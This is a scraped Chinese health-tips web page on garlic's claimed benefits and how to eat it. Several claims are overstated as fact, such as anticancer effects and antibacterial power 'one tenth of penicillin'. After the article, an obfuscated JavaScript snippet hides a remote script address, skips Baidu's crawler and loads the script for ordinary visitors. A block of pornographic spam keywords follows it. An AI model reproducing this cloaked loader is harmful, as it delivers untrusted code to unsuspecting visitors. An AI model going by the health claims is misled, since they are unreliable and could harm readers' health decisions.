當前位置:首頁 > 飲食 > 食物營養 > 正文

大蒜的功效與作用:抗疲勞保護心血管

2015-10-19 11:39:58  來源:360常識網   熱度:
導語:大蒜是天然的植物廣譜抗菌素,大蒜約含2%的大蒜素,大蒜素有很強的殺菌作用,它進入人體后能與細菌的胱氨酸反應生成結晶狀沉淀,破壞細菌所必需的硫氨基生物中的巰基。

國外研究發現,大蒜中的含硫化合物能促進腸產生一種酶或稱為蒜臭素的物質,通過增強機體免疫能力,阻斷脂質過氧化形成及抗突變等多條途徑,消除在腸里的物質引發腸道腫瘤的危險。但是,目前尚無法定論究竟需要產生多少這樣的酶才能有效地發揮大蒜的抗腫瘤作用。

大蒜的功效與作用:抗疲勞保護心血管

大蒜的功效與作用:抗疲勞保護心血管

大蒜的功效與作用

1、抗癌

國外研究發現,大蒜中的含硫化合物能促進腸產生一種酶或稱為蒜臭素的物質,通過增強機體免疫能力,阻斷脂質過氧化形成及抗突變等多條途徑,消除在腸里的物質引發腸道腫瘤的危險。但是,目前尚無法定論究竟需要產生多少這樣的酶才能有效地發揮大蒜的抗腫瘤作用。

2、抗衰老作用

大蒜里的某些成份,有類似維生素E與維生素C的抗氧化,防衰老特性。

3、抗疲勞作用

有人研究發現豬肉富含維生素B1的食物之一,而維生素B1與大蒜所含有的大蒜素結合在一起,能很好的發揮消除疲勞、恢復體力的作用。

4、殺菌作用

大蒜是天然的植物廣譜抗菌素,大蒜約含2%的大蒜素,大蒜素有很強的殺菌作用,它進入人體后能與細菌的胱氨酸反應生成結晶狀沉淀,破壞細菌所必需的硫氨基生物中的巰基,使細菌的代謝出現紊亂,從而無法繁殖與生長。

大蒜的殺菌能力是青霉素的1/10,對多種致病菌如葡萄球菌、腦膜炎、肺炎、鏈球菌及白喉、痢疾、傷寒、副傷寒、結核桿菌和霍亂弧菌,都有明顯的抑制或絞殺作用。

另外,它還能殺死多種致病真菌與鉤蟲、蟯蟲、滴蟲等寄生蟲。因此說生吃大蒜是預防流感及預防腸道感染病的有效方法。但應注意大蒜素在高溫下易被破壞,而失去殺菌作用。

5、改善糖代謝作用

研究證實,生食大蒜有提高正常人葡萄糖耐量的作用,同時還可促進胰島素的分泌及增加組織細胞對葡萄糖的利用程度,從而降低血糖水平。

6、抗過敏作用

每天生吃大蒜能夠減輕過敏反應程度,特別是由溫度變化所引起的過敏。最好的方法是在過敏季節來臨前幾周就開始生吃大蒜。

大蒜每天吃多少?

過去人們一直認為要想讓大蒜發揮上述作用,人類必須進食與自己體重相同的大蒜。但近期有研究顯示,只要堅持每日進食2-3粒生大蒜也同樣有效。所謂有效是指生吃大蒜,而不是煮熟或炒熟了吃,如果大蒜被煮熟了,那就要比生吃的多8倍,而且效果也會大打折扣。雖然大蒜生吃最好,但不宜空腹食用,每天1次或隔天1次最好。

大蒜怎么吃最有效?

大蒜即怕熱,又怕咸,它遇熱或遇咸都會完全或部分失去活性。

1、大蒜宜生食;

2、食用大蒜最好搗碎成泥,而不是用刀切成碎末;

3、蒜泥先在室溫放置10~15分鐘,讓蒜氨酸與蒜酶在空氣中充分結合產生大蒜素后再食用,效果最好。

專家認為,大蒜所以能有這么多的有益作用,主要是因為它含有蒜氨酸與蒜酶這兩種有效物質,這兩種成份分別存在于新鮮大蒜的細胞里,只有把大蒜碾碎,讓它們彼此接觸,就會產生一種沒有顏色的油滑液體即大蒜素。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久久久久久99精品免费| 精品视频在线观看一区二区 | 亚洲国产精品福利片在线观看 | 亚洲午夜精品一区二区| 国产精品兄妹在线观看麻豆| 国产亚洲精品高清在线| 国产AV无码专区亚洲精品| 3d动漫精品啪啪一区二区中 | 国产精品国产三级国产在线观看| 国产精品青草久久| 精品国产香蕉伊思人在线在线亚洲一区二区 | 日韩精品久久不卡中文字幕 | 91精品久久久久久无码| 亚洲av产在线精品亚洲第一站 | 一本久久伊人热热精品中文| 国产高清在线精品一本大道| 国内精品久久久久影院薰衣草| 香蕉久久夜色精品国产小说| 8AV国产精品爽爽ⅴa在线观看| 国产精品亚洲精品日韩电影| 国产精品亚洲精品日韩已方| 久久精品国产精品亚洲蜜月| 精品国产VA久久久久久久冰| 精品久久久无码中字| 成人国内精品久久久久一区| 麻豆国产在线精品国偷产拍| 久久久久亚洲精品无码网址色欲| 国产亚洲午夜精品| 国产精品美女一区二区视频| 92国产精品午夜福利| 亚洲精品国产成人影院| 久久99蜜桃精品久久久久小说| 伊人久久精品无码麻豆一区 | 国产麻豆精品原创| 老司机午夜精品视频在线观看免费 | 国产精品久久免费视频| 大陆精大陆国产国语精品| 自拍偷在线精品自拍偷| 国产成人精品日本亚洲11| 亚洲欧洲精品成人久久奇米网| 999精品视频在线观看热6|